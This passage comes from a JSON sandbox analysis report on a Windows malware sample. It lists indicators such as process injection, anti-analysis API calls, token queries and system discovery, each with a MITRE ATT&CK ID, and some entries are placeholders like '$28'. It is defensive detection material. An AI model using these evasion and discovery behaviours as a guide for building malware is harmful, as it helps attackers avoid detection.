module","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"FindResourceW\" with parameter \"6942764\" - (UID: 00000000-00005644)\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"FindResourceW\" with parameter \"7423228\" - (UID: 00000000-00005644)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4227144'}\" (UID: 00000000-00005644)\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"LoadResource with parameter {'hModule': '22282240', 'hResInfo': '22724680'}\" (UID: 00000000-00005644)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1668874240', 'hResInfo': '7150144'}\" (UID: 00000000-00005936)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1664090112', 'hResInfo': '1665130872'}\" (UID: 00000000-00005936)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1664090112', 'hResInfo': '1665130856'}\" (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000000.77036.01540000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000001.78962.00150000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000001.78962.01540000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000001.78962.01788000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000002.80885.00150000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000002.80885.01540000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\LCD; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"powershell.exe\" queried SystemProcessInformation at 00000000-00003404-00000105-4040784 [PID: 3404]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003404-00000105-4283014 [PID: 3404]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003404-00000105-6074445 [PID: 3404]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005460.00000000.84867.000C0000.00000004.mdmp, 00000000-00005460.00000001.86338.0010A000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.42093","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2d","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameW\" (Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003404-00000C2C-305066349\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003404-00000C2C-307696517\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005644-00000C2C-299853647\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005644-00000C2C-299853786\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003404-00000C2C-307833749\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003404-00000C2C-307833820\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"mshta.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005644)\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005644)\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005644)\n \"mshta.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005936)\n \"mshta.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005644)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"mshta.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"IsWow64Process\" with parameter \"5644\" - (UID: 00000000-00005644)\n \"mshta.exe\" called \"IsWow64Process\" with parameter \"5936\" - (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"mshta.exe\" called \"GetWindowTextW\" (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005644)\n \"mshta.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005936)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"mshta.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005644)\n \"mshta.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005936)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005644)\n \"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005936)\n \"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00005936)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.dll at 19819-853-00408B3E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")\n Found reference to API \"8,3150,,IsWow64Process,kernel32.dll,\"754:57:01.607\",RX=0,PX=0\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 19819-971-0040B6E3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 19819-971-0040B6E3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.dll at 19819-517-0040AAC1\n GetVersion@KERNEL32.dll at 19819-622-0040BE70\n GetVersion@KERNEL32.dll at 19819-778-00401AB9\n GetVersion@KERNEL32.dll at 19819-850-00407D72\n GetVersionExA@KERNEL32.dll at 19819-1026-00410D66\n GetVersion@KERNEL32.dll at 19819-1033-0040722B\n GetVersion@KERNEL32.dll at 19819-2612-004091D1\n GetVersion@KERNEL32.dll at 19819-2626-0040AF65","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.dll at 19819-733-00403F20\n GetLocaleInfoA@KERNEL32.dll at 19819-767-00401FF4\n GetLocaleInfoA@KERNEL32.dll at 19819-850-00407D72\n GetLocaleInfoA@KERNEL32.dll at 19819-991-0040E31C\n GetLocaleInfoA@KERNEL32.dll at 19819-2624-0040ED68","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp\n 00000000-00005644.00000000.77036.01540000.00000040.mdmp\n 00000000-00005644.00000001.78962.00150000.00000004.mdmp\n 00000000-00005644.00000001.78962.01540000.00000040.mdmp\n 00000000-00005644.00000001.78962.01788000.00000004.mdmp\n 00000000-00005644.00000002.80885.00150000.00000004.mdmp\n 00000000-00005644.00000002.80885.01540000.00000040.mdmp\n 00000000-00005644.00000003.86403.00150000.00000004.mdmp\n 00000000-00005644.00000003.86403.01540000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry 